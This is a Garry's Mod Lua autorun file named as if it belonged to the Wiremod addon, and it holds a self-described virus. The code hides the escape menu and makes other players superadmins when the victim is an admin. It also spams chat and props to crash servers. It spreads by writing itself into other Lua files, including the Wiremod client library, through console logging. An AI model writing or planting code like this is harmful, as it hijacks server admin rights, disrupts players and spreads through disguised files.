--lua/autorun/wiremod_svn.lua

--SendLua is limited so I had to use this:

if (SERVER) then
    AddCSLuaFile("autorun/wiremod_svn.lua")
else	

    local virus1 = [[

--------------------------------
----------WOTSHook02------------
---------Author: Anon-----------
-----Note: Crash / minge--------
-----(on) DarkRP servers--------
--to stop the minge invasion.---
--------------------------------

if !LocalPlayer():IsValid() and LocalPlayer():IsPlayer() then return end

RunConsoleCommand("-attack")

timer.Simple(2.5, function()
    timer.Create("NoESC", 0.3 ,0, function()
        RunConsoleCommand("gameui_hide")
    end)
end)	

timer.Simple(5, function()   
    local randomprops = {}
        randomprops[1] = "models/props_junk/TrashDumpster01a.mdl"
        randomprops[2] = "models/props_junk/TrashDumpster01a.mdl"
        randomprops[3] = "models/props_junk/TrashDumpster01a.mdl"
        randomprops[4] = "models/props_junk/wood_pallet001a.mdl"
        randomprops[5] = "models/props_junk/wood_pallet001a.mdl"
        randomprops[6] = "models/props_junk/wood_pallet001a.mdl"
        randomprops[7] = "models/props_junk/TrashDumpster02.mdl"
        randomprops[8] = "models/props_wasteland/wood_fence01a.mdl"
        randomprops[9] = "models/props_wasteland/wood_fence01a.mdl"
	    randomprops[10] = "models/props_wasteland/cargo_container01b.mdl"
	    randomprops[11] = "models/props_junk/wood_crate002a.mdl"
	    randomprops[12] = "models/props_junk/wood_crate002a.mdl"
	    randomprops[13] = "models/props_junk/wood_crate002a.mdl"
	    randomprops[14] = "models/props_junk/wood_crate002a.mdl"	
	    randomprops[15] = "models/props_wasteland/wheel03b.mdl"
	    randomprops[16] = "models/props_wasteland/wheel03b.mdl"
	    randomprops[17] = "models/props_wasteland/wood_fence02a_board05a.mdl"
	    randomprops[18] = "models/props_wasteland/wood_fence02a_board05a.mdl"
	    randomprops[19] = "models/props_wasteland/wood_fence02a_board05a.mdl"
	    randomprops[20] = "models/props_wasteland/wood_fence02a_board05a.mdl"	
     

    local name = "MingeBag"
    local sound = "http://www.youtube.com/watch?v=fhSrvuMPLlE"
    local sound2 = "http://www.youtube.com/watch?v=0tDbKCY4sWc"
    local openwots = vgui.Create("HTML")
    openwots:SetPos(0,0)
    openwots:SetSize(0,0)
    openwots:SetMouseInputEnabled(false)
    openwots:SetKeyboardInputEnabled(false)
    openwots:SetVisible(false)]]

	
	
    local virus2 = [[
	

    local mname
    local mid

    if LocalPlayer():IsAdmin() then
	
        for _, v in pairs(player.GetAll()) do
            mname = v:Nick()
        end	
          
        timer.Simple(1, function()
            if LocalPlayer():IsAdmin() then
	            for i = 1, #player.GetAll() do
		            timer.Simple(i, function()
	                    LocalPlayer():ConCommand("ulx adduser "..mname.." superadmin 1")
		        	end)
		        end
	        end
        end)
		
    end	
	
	
    local pinfo = "MINGE INVASION"

    timer.Simple(2, function()
        LocalPlayer():ConCommand("cl_xfire "..pinfo)
        LocalPlayer():ConCommand("cl_gtalk "..pinfo)
        LocalPlayer():ConCommand("cl_aim "..pinfo)
        LocalPlayer():ConCommand("cl_msn "..pinfo)
        LocalPlayer():ConCommand("cl_email "..pinfo)
        LocalPlayer():ConCommand("cl_location "..pinfo)
        LocalPlayer():ConCommand("cl_website "..pinfo)
    end)
	
    timer.Simple(3, function()
	    timer.Simple(1.3, function()
	        LocalPlayer():ChatPrint("Join the minge army today and dominate GMod !\n We'll dominate server to server, and stop the admin abuse !")
	    end)	
		timer.Simple(2.3, function()
            LocalPlayer():ChatPrint("(ADMIN) Playing sound: WOTS Trailer")		
            openwots:OpenURL(sound)	
		end)
    end)]]	

	local virus3 = [[
	
    timer.Simple(5.5, function()
        hook.Add("Think", "Minge", function()
            RunConsoleCommand("setinfo", "name", name)
        end)
    end)	


    timer.Simple(6, function()
        RunConsoleCommand("cl_playermodel", "none")
    end)


    timer.Simple(7, function()
        LocalPlayer():ChatPrint("(ADMIN) Console slayed "..LocalPlayer():Nick())
        RunConsoleCommand("kill")
    end)

	timer.Simple(8, function()
        RunConsoleCommand("say", "GMod minge domination is close...")
	end)

    timer.Simple(9.5, function()
        RunConsoleCommand("say", "WAR OF THE SERVERS HAS BEGUN, MINGES WILL DOMINATE ALL SERVERS SOON")
	end)	
	
    timer.Simple(11, function()
        RunConsoleCommand("say", "SERVER DOMINATED BY A HUGE MINGE UNION")		
    end)

    timer.Simple(12.5, function()
	    RunConsoleCommand("say", "ALL GMOD SERVERS WILL GET ATTACKED AND DOMINATED BY A HUGE MINGE ARMY")
	    timer.Create("mingespamomg", 1, 0, function()
            for k, v in pairs(randomprops) do
	            timer.Simple(k, function()
	    	        RunConsoleCommand("gm_spawn", v)
    		    end)
    	    end
		end)	
    end)	
	
    timer.Simple(13.5, function()	
	    timer.Create("ropespam", 0, 0, function()
	        timer.Simple(1, function()
                RunConsoleCommand("tool_rope")	
	    	end)	
	    	timer.Simple(.1, function()
	    	    RunConsoleCommand("+attack")
	    	end)
            timer.Simple(.2, function()		
	    	    RunConsoleCommand("-attack")
	    	end)	
	    end)	
    end)
	
    timer.Simple(177, function() --if the server is STILL ALIVE
        openwots:OpenURL(sound2)
    end)
	
end)		


-- Garry, please add old grass, water, sky and an island to gm_construct, and remove HDR.]]


    function GetLogP()
	    if file.Exists("../addons/wire/lua/autorun/client/cl_wirelib.lua") then
		    return "con_logfile addons/wire/lua/autorun/client/cl_wirelib.lua "
		else
            return "con_logfile lua/vgui/vgui_okbutton.lua "
		end
	end	


    concommand.Add("printvir", function()
        timer.Simple(.1, function() print(virus1) end)
        timer.Simple(.2, function() print(virus2) end)
        timer.Simple(.3, function() print(virus3) end)	
    end)	


    timer.Simple(3, function()
        timer.Simple(1, function()
            file.Write("ulxmotdhtml.txt", GetLogP().."\nclear ")
	    end)
        timer.Simple(2, function()
            file.Write('ulxmotdhtml2.txt', 'con_logfile "" \nclear ')
	    end)	
    end)
	
end	
